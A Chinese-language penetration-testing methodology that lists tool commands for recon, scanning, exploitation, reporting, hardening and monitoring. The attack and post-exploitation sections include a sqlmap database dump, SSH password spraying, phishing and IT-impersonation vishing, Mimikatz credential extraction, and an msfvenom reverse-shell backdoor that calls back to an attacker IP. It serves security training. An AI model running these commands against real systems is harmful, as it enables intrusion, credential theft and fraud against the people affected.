1. 准备阶段
1.1 目标确认与风险评估
本方案旨在教育作用,请勿在没有授权的情况下使用
2. 信息收集
2.1 被动信息收集
2.1.1 DNS侦察
- 子域名枚举:
# 使用Amass进行子域名枚举 amass enum -d example.com# 使用Subfinder进行子域名发现 subfinder -d example.com -o subdomains.txt
- DNS记录查询:
# 使用Dig获取DNS记录 dig +short example.com ANY# 使用Nslookup进行DNS查询 nslookup -type=mx example.com
2.1.2 网络资产发现
- Shodan搜索:
shodan search "hostname:example.com"
- Censys搜索:
censys search "example.com"
2.1.3 社会工程信息收集
- 使用TheHarvester收集邮箱:
theHarvester -d example.com -l 500 -b all
- 社交媒体信息收集:
- 收集目标公司的LinkedIn信息。
- 分析目标员工的GitHub活动。
2.2 主动信息收集
2.2.1 网络扫描
- 端口扫描:
nmap -sT -p- 192.168.1.1
- OS检测:
nmap -O 192.168.1.1
- 服务识别:
nmap -sV 192.168.1.1
- 分层扫描:
nmap -sL 192.168.1.0/24 # 列出存活主机 nmap -sn 192.168.1.0/24 #Ping扫描
2.2.2 子域名暴力破解
- 使用Dnsrecon:
dnsrecon -d example.com -D wordlists/subdomains.txt
2.2.3 技术栈识别
- 使用WhatWeb:
whatweb http://example.com
3. 漏洞扫描
3.1 网站漏洞扫描
- Nikto:
nikto -h http://example.com
- WPSčan(针对WordPress):
wpscan --url https://example.com --enumerate p,u
- SQLmap:
sqlmap -u "http://example.com/page.php?id=1" --dbs
- XSS检测:
dalfox http://example.com
3.2 全面漏洞扫描
- OpenVAS:
openvas-cli create_target 192.168.1.1 openvas-cli create_task example_task openvas-cli start_task task_id
- Nessus:
nessuscli scan --template "Full Results" 192.168.1.1
4. 攻击与渗透
4.1 Web应用攻击
4.1.1 SQL注入攻击
- 手动检测:
sqlmap -u "http://example.com/page.php?id=1" --dbs
- 数据库提取:
sqlmap -u "http://example.com/page.php?id=1" --dump
4.1.2 XSS攻击
- 测试XSS漏洞:
dalfox http://example.com
- 手动验证:
<script>alert('XSS')</script>
4.1.3 CSRF验证
- 使用Burp Suite:
- 拦截请求,手动修改参数。
- 添加 CSRFTester 插件进行验证。
4.2 网络层攻击
4.2.1 密码喷洒
- Hydra:
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
- Medusa:
medusa -h 192.168.1.1 -U users.txt -P passwords.txt -M ssh
4.2.2 SMB漏洞检测
- Nmap脚本:
nmap --script smb-vuln* 192.168.1.1
4.3 社会工程攻击
- 钓鱼邮件:
setoolkit # 配置钓鱼邮件模板和发送参数
- 模拟电话钓鱼:
- 使用VOIP工具进行语音欺骗。
- 伪装成IT支持人员,诱导用户提供凭证。
5. 后渗透
5.1 权限提升
- Linux提权:
# 使用linux-exploit-suggester linux-exploit-suggester.sh
# 使用linpeas linpeas.sh
- Windows提权:
# 使用windows-exploit-suggester windows-exploit-suggester.py
5.2 持久性维持
- 后门创建:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe > backdoor.exe
- 后门监听:
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp
5.3 数据提取
- 提取敏感信息:
- 使用Mimikatz提取Windows凭证。
- 使用MySqlDumper提取数据库信息。
- 加密存储所有提取的数据。
6. 报告撰写
6.1 报告结构
- 执行摘要:
- 测试目标和范围。
- 测试时间和结果概述。
- 技术细节:
- 发现的漏洞列表。
- 利用过程的详细步骤。
- 风险评估:
- 漏洞的CVSS评分。
- 影响的业务风险级别。
- 修复建议:
- 针对每个漏洞的具体修复措施。
- 安全配置建议。
6.2 报告生成工具
- OWASP ZAP:
zap-cli report -o vulnerabilities.html
- Dradis:
dradis-ce import nmap_scan.xml
7. 安全加固与改进
7.1 自动化加固脚本
- SSH配置优化:
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
- 防火墙规则:
ufw default deny ufw allow from 可信IP
7.2 安全基线配置
- 使用Ansible:
ansible-playbook -i hosts security.yml
- 使用Chef:
knife cookbook upload security-config
8. 监控与溯源
8.1 流量监控
- Tcpdump:
tcpdump -i eth0 -w capture.pcap
- Wireshark分析:
wireshark capture.pcap
8.2 日志分析
- Auditd配置:
auditctl -a exit,always -F path=/etc/passwd
- ELKStack集成:
- 使用Logstash收集日志。
- 使用Elasticsearch存储和分析。
- 使用Kibana进行可视化。
9. 工具清单
- 信息收集:
- Amass, Subfinder, TheHarvester, Nmap, Dig, Shodan.
- 漏洞扫描:
- Nikto, WPSčan, OpenVAS, Nessus, SQLmap.
- 攻击与渗透:
- Metasploit, Hydra, Medusa, Burp Suite.
- 后渗透:
- Meterpreter, Empire, Mimikatz.
- 监控与日志分析:
- Tcpdump, Wireshark, ELK Stack.